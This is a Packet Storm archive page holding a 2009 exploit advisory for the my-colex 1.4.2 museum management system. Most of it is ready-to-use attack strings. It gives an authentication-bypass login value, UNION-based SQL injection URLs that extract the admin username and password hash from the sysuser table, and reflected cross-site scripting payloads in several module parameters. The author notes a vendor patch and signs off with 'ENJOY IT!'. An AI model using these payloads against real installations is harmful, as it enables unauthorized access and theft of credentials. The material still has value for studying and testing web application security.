what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

my-colex 1.4.2 SQL Injection / XSS

my-colex 1.4.2 SQL Injection / XSS
Posted May 20, 2009
Authored by YEnH4ckEr

my-colex version 1.4.2 suffers from authentication bypass, remote SQL injection, and cross site scripting vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 7eed55315c5bbd10a305ee47adbfce3201154cab188c2ba0d7f4020ecb110607

my-colex 1.4.2 SQL Injection / XSS

Change Mirror Download
-------------------------------------------------------
MULTIPLE REMOTE VULNERABILITIES --my-colex 1.4.2-->
-------------------------------------------------------

CMS INFORMATION:

-->WEB: http://www.collector.ch/drupal5/index.php
-->DOWNLOAD: http://www.collector.ch/drupal5/?q=node/11
-->DEMO: http://www.collector.ch/drupal5/?q=node/10
-->CATEGORY: Management
-->DESCRIPTION: myColex is a complete museum management and collection documentation
system with longterm archiving capabilities based on Apache/PHP and mySQL...
-->RELEASED: 2009-03-24

CMS VULNERABILITY:

-->TESTED ON: firefox 3
-->DORK: N/A
-->CATEGORY: AUTH BYPASS/ SQL INJECTION / XSS
-->AFFECT VERSION: 1.4.2 (maybe <= ?)
-->Discovered Bug date: 2009-05-06
-->Reported Bug date: 2009-05-06
-->Fixed bug date: 2009-05-07
-->Info patch: http://www.collector.ch/drupal5/?q=forum/15
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)



#################
/////////////////

INTRODUCTION:

/////////////////
#################


This app is completely vulnerable to sql code injection.

Except auth bypass we can not exploit sql injection without a register user.


#########################
////////////////////////

AUTH BYPASS (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: magic quotes=OFF +++++++++++++++++--------->>>>


----------
EXPLOIT:
----------

Name=' or 1=1#

password=123456 (over six characters)

Then, going to http://[HOST]/[HOME_PATH]/modules/admuser.php?Modus=Find

We got admin credentials...

Password is encrypted with MySQLSHA-1.


#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: Be a register user +++++++++++++++++--------->>>>

<<<<---------++++++++++++++ Condition: magic quotes = ON/OFF +++++++++++++++++--------->>>>


------------------
PROOF OF CONCEPT:
------------------


Some examples:

http://[HOST]/[HOME_PATH]/modules/kategorie.php?Modus=Detail&ID=1+and+0+union+all+select+1,version(),database(),user(),version()%23

http://[HOST]/[HOME_PATH]/modules/medium.php?Modus=Detail&ID=23+and+0+UNION+ALL+SELECT+1,version(),database(),version(),user(),database(),7/*

http://[HOST]/[HOME_PATH]/modules/person.php?Modus=Detail&ID=2+AND+0+UNION+ALL+SELECT+1,2,3,4,version(),6,user(),version(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36/*

http://[HOST]/[HOME_PATH]/modules/schlagwort.php?Modus=Detail&ID=1+AND+0+UNION+ALL+SELECT+1,version(),database(),current_user(),user(),6/*

There are more...

Return: user, version, ...


----------
EXPLOITS:
----------


http://[HOST]/[HOME_PATH]/modules/kategorie.php?Modus=Detail&ID=1+and+0+union+all+select+1,SuUser,SuEmail,SuPwd,SuSysAut+FROM+sysuser+WHERE+SuID=1%23

http://[HOST]/[HOME_PATH]/modules/medium.php?Modus=Detail&ID=23+and+0+UNION+ALL+SELECT+1,2,3,4,SuUser,SuPwd,6+FROM+sysuser+WHERE+SuID=1/*

Return: username/password (id=1)


###########################
///////////////////////////

CROSS SITE SCRIPTING (XSS):

///////////////////////////
###########################


XSS is possible where you like :P

Some examples:


http://[HOST]/[HOME_PATH]/modules/kalender.php?month=5&year=2009"><script>alert('y3nh4ck3r+was+here!')</script>

http://[HOST]/[HOME_PATH]/modules/ereignis.php?Modus=List&Page=1"><script>alert('y3nh4ck3r+was+here!')</script>&Order=ErAnfangsdatum

http://[HOST]/[HOME_PATH]/modules/kategorie.php?Modus=Search&Kontext=objekt"><script>alert('y3nh4ck3r+was+here!')</script>

http://[HOST]/[HOME_PATH]/modules/image.php?image=<script>alert('y3nh4ck3r+was+here!')</script>


Of course there are more...



<<<-----------------------------EOF---------------------------------->>>ENJOY IT!


#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray ... ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: SPANISH H4ck3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close